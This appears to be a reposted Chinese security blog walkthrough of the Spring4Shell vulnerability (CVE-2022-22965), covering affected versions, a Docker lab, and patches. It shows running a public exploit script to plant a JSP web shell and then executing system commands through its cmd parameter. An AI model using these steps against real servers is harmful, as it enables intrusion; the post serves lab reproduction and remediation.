Spring Framework RCE 通过 JDK 9+上的数据绑定 (CVE-2022-22965)

admin 2022年4月23日02:10:25评论81 views字数 1923阅读6分24秒阅读模式

0x01 漏洞概述

spring 官网在 2022 年 3 月 31 日发布该漏洞的概述:该漏洞影响在 JDK 9+ 上运行的 Spring MVC 和 Spring WebFlux 应用程序。具体的利用需要应用程序作为 WAR 部署在 Tomcat 上运行。如果应用程序被部署为 Spring Boot 可执行 jar,即默认值,则它不容易受到漏洞利用。但是,该漏洞的性质更为普遍,可能还有其他方法可以利用它。

0x02 影响范围

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement• 在 JDK 9 或更高版本上运行• Apache Tomcat 作为 Servlet 容器。• 打包为传统的 WAR 并部署在独立的 Tomcat 实例中。使用嵌入式 Servlet 容器或响应式 Web 服务器的典型 Spring Boot 部署不受影响。• spring-webmvc 或 spring-webflux 依赖。• Spring Framework 版本 5.3.0 到 5.3.17、5.2.0 到 5.2.19 以及更早的版本。

0x03 环境搭建

靶机:kali-linux攻击机:Windows10

参考链接:

https://github.com/lunasec-io/Spring4Shell-POC

用 git 命令拉取该链接上的漏洞测试环境

git clone https://github.com/lunasec-io/Spring4Shell-POC.git

Spring Framework RCE 通过 JDK 9+上的数据绑定 (CVE-2022-22965)

创建该环境下的 docker 镜像并启动,将端口映射到 8080

docker build . -t spring4shell && docker run -p 8080:8080 spring4shell

Spring Framework RCE 通过 JDK 9+上的数据绑定 (CVE-2022-22965)

完成后,访问

http://靶机 IP:8080/helloworld/greeting

Spring Framework RCE 通过 JDK 9+上的数据绑定 (CVE-2022-22965)

0x04 漏洞利用


运行 exploit.py 脚本,向靶机写 shell:

脚本链接:

https://github.com/lunasec-io/Spring4Shell-POC/blob/master/exploit.pypython3 exploit.py --url "http://靶机 IP:8080/helloworld/greeting"

Spring Framework RCE 通过 JDK 9+上的数据绑定 (CVE-2022-22965)

访问写入的 shell 文件,通过 cmd 参数传入执行的系统命令:如查看当前用户系统 id:

http://靶机:8080/shell.jsp?cmd=id

Spring Framework RCE 通过 JDK 9+上的数据绑定 (CVE-2022-22965)

查看当前用户系统:

http://靶机:8080/shell.jsp?cmd=whoami

Spring Framework RCE 通过 JDK 9+上的数据绑定 (CVE-2022-22965)

0x05 修复方案

目前,spring 官网已发布相关的解决方案:包含修复的 Spring Framework 5.3.18 和 5.2.20 已发布。依赖 Spring Framework 5.3.18 的 Spring Boot 2.6.6 和 2.5.12 已经发布。CVE-2022-22965 已发布。Apache Tomcat 发布了 10.0.20、9.0.62 和 8.5.78 版本,它们关闭了 Tomcat 方面的攻击媒介,请参阅 Spring Framework RCE,Mitigation Alternative。spring 官网给出的相关解决方案:• 更新到 Spring Framework 5.3.18 和 5.2.20 或更高版本(首选方案)• 升级 Tomca• 降级到 Java 8• 不允许的字段

参考链接:

https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/https://tanzu.vmware.com/security/cve-2022-22965https://github.com/lunasec-io/Spring4Shell-POChttps://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement




蓝爵网安

广东蓝爵网络安全技术股份有限公司(简称“蓝爵网安”)成立于2007年,是一家专注于网络安全技术研究、网络安全服务十年以上的高新技术企业。蓝爵网安近年来一直围绕网络安全等级保护核心思想提供安全咨询、安全评估、安全开发、安全测试、安全运维、安全培训、应急响应七大类专业网络安全服务。 蓝爵网安拥有多个技术领域的专家服务团队,多次在重要安全保障期间、大型安全攻防演练等活动中获得了相关方的高度认可表彰。


原文始发于微信公众号(蓝爵网安):Spring Framework RCE 通过 JDK 9+上的数据绑定 (CVE-2022-22965)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日02:10:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Framework RCE 通过 JDK 9+上的数据绑定 (CVE-2022-22965)http://cn-sec.com/archives/931066.html

发表评论

匿名网友 填写信息